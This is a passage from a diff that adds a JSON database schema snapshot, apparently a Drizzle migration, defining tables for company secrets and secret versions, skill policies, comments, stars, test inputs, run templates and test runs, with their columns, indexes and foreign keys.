+          "name": "company_secret_versions_secret_version_uq",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "version",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_versions_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_versions_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_versions",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_versions_created_by_agent_id_agents_id_fk": {
+          "name": "company_secret_versions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secret_versions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secrets": {
+      "name": "company_secrets",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope": {
+          "name": "scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_secret_definition_id": {
+          "name": "user_secret_definition_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_encrypted'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "managed_mode": {
+          "name": "managed_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip_managed'"
+        },
+        "external_ref": {
+          "name": "external_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_config_id": {
+          "name": "provider_config_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_metadata": {
+          "name": "provider_metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_version": {
+          "name": "latest_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_resolved_at": {
+          "name": "last_resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_rotated_at": {
+          "name": "last_rotated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secrets_company_idx": {
+          "name": "company_secrets_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_scope_idx": {
+          "name": "company_secrets_company_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_owner_idx": {
+          "name": "company_secrets_company_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_user_definition_owner_idx": {
+          "name": "company_secrets_user_definition_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_provider_idx": {
+          "name": "company_secrets_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_provider_config_idx": {
+          "name": "company_secrets_provider_config_idx",
+          "columns": [
+            {
+              "expression": "provider_config_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_name_uq": {
+          "name": "company_secrets_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secrets\".\"scope\" = 'company' and \"company_secrets\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_key_uq": {
+          "name": "company_secrets_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secrets\".\"scope\" = 'company' and \"company_secrets\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_user_definition_owner_uq": {
+          "name": "company_secrets_user_definition_owner_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secrets\".\"scope\" = 'user' and \"company_secrets\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secrets_company_id_companies_id_fk": {
+          "name": "company_secrets_company_id_companies_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_secrets_user_secret_definition_id_user_secret_definitions_id_fk": {
+          "name": "company_secrets_user_secret_definition_id_user_secret_definitions_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "user_secret_definitions",
+          "columnsFrom": [
+            "user_secret_definition_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secrets_provider_config_id_company_secret_provider_configs_id_fk": {
+          "name": "company_secrets_provider_config_id_company_secret_provider_configs_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "company_secret_provider_configs",
+          "columnsFrom": [
+            "provider_config_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secrets_created_by_agent_id_agents_id_fk": {
+          "name": "company_secrets_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "company_secrets_scope_shape_check": {
+          "name": "company_secrets_scope_shape_check",
+          "value": "(\n        \"company_secrets\".\"scope\" = 'company'\n        and \"company_secrets\".\"owner_user_id\" is null\n        and \"company_secrets\".\"user_secret_definition_id\" is null\n      ) or (\n        \"company_secrets\".\"scope\" = 'user'\n        and \"company_secrets\".\"owner_user_id\" is not null\n        and \"company_secrets\".\"user_secret_definition_id\" is not null\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.company_skill_policies": {
+      "name": "company_skill_policies",
+      "schema": "",
+      "columns": {
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "schema_version": {
+          "name": "schema_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "revision": {
+          "name": "revision",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "default_effect": {
+          "name": "default_effect",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "rules": {
+          "name": "rules",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {
+        "company_skill_policies_company_id_companies_id_fk": {
+          "name": "company_skill_policies_company_id_companies_id_fk",
+          "tableFrom": "company_skill_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_comments": {
+      "name": "company_skill_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_skill_id": {
+          "name": "company_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "parent_comment_id": {
+          "name": "parent_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_comments_company_skill_created_idx": {
+          "name": "company_skill_comments_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_comments_parent_idx": {
+          "name": "company_skill_comments_parent_idx",
+          "columns": [
+            {
+              "expression": "parent_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_comments_company_id_companies_id_fk": {
+          "name": "company_skill_comments_company_id_companies_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_comments_company_skill_id_company_skills_id_fk": {
+          "name": "company_skill_comments_company_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "company_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_comments_parent_comment_id_company_skill_comments_id_fk": {
+          "name": "company_skill_comments_parent_comment_id_company_skill_comments_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "company_skill_comments",
+          "columnsFrom": [
+            "parent_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skill_comments_author_agent_id_agents_id_fk": {
+          "name": "company_skill_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_stars": {
+      "name": "company_skill_stars",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_skill_id": {
+          "name": "company_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_stars_skill_agent_idx": {
+          "name": "company_skill_stars_skill_agent_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_stars_skill_user_idx": {
+          "name": "company_skill_stars_skill_user_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_stars_company_skill_created_idx": {
+          "name": "company_skill_stars_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_stars_company_id_companies_id_fk": {
+          "name": "company_skill_stars_company_id_companies_id_fk",
+          "tableFrom": "company_skill_stars",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_stars_company_skill_id_company_skills_id_fk": {
+          "name": "company_skill_stars_company_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_stars",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "company_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_stars_agent_id_agents_id_fk": {
+          "name": "company_skill_stars_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_stars",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_test_inputs": {
+      "name": "company_skill_test_inputs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "skill_id": {
+          "name": "skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "content": {
+          "name": "content",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by": {
+          "name": "created_by",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_test_inputs_company_skill_name_idx": {
+          "name": "company_skill_test_inputs_company_skill_name_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_inputs_company_skill_active_idx": {
+          "name": "company_skill_test_inputs_company_skill_active_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "deleted_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_test_inputs_company_id_companies_id_fk": {
+          "name": "company_skill_test_inputs_company_id_companies_id_fk",
+          "tableFrom": "company_skill_test_inputs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_inputs_skill_id_company_skills_id_fk": {
+          "name": "company_skill_test_inputs_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_test_inputs",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_test_run_templates": {
+      "name": "company_skill_test_run_templates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_test_run_templates_company_active_idx": {
+          "name": "company_skill_test_run_templates_company_active_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "deleted_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_test_run_templates_company_id_companies_id_fk": {
+          "name": "company_skill_test_run_templates_company_id_companies_id_fk",
+          "tableFrom": "company_skill_test_run_templates",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_run_templates_created_by_agent_id_agents_id_fk": {
+          "name": "company_skill_test_run_templates_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_test_run_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_run_templates_updated_by_agent_id_agents_id_fk": {
+          "name": "company_skill_test_run_templates_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_test_run_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_test_runs": {
+      "name": "company_skill_test_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "skill_id": {
+          "name": "skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "input_id": {
+          "name": "input_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "input_snapshot": {
+          "name": "input_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "skill_version_id": {
+          "name": "skill_version_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_config_snapshot": {
+          "name": "agent_config_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_id": {
+          "name": "template_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "template_name": {
+          "name": "template_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "template_body": {
+          "name": "template_body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rendered_template_body": {
+          "name": "rendered_template_body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "harness_issue_description": {
+          "name": "harness_issue_description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'queued'"
+        },
+        "output_document_key": {
+          "name": "output_document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'output'"
+        },
+        "output_snapshot": {
+          "name": "output_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "superseded_at": {
+          "name": "superseded_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "harness_issue_expires_at": {
+          "name": "harness_issue_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "harness_issue_deleted_at": {
+          "name": "harness_issue_deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_test_runs_company_skill_created_idx": {
+          "name": "company_skill_test_runs_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_issue_idx": {
+          "name": "company_skill_test_runs_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_input_created_idx": {
+          "name": "company_skill_test_runs_company_input_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "input_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
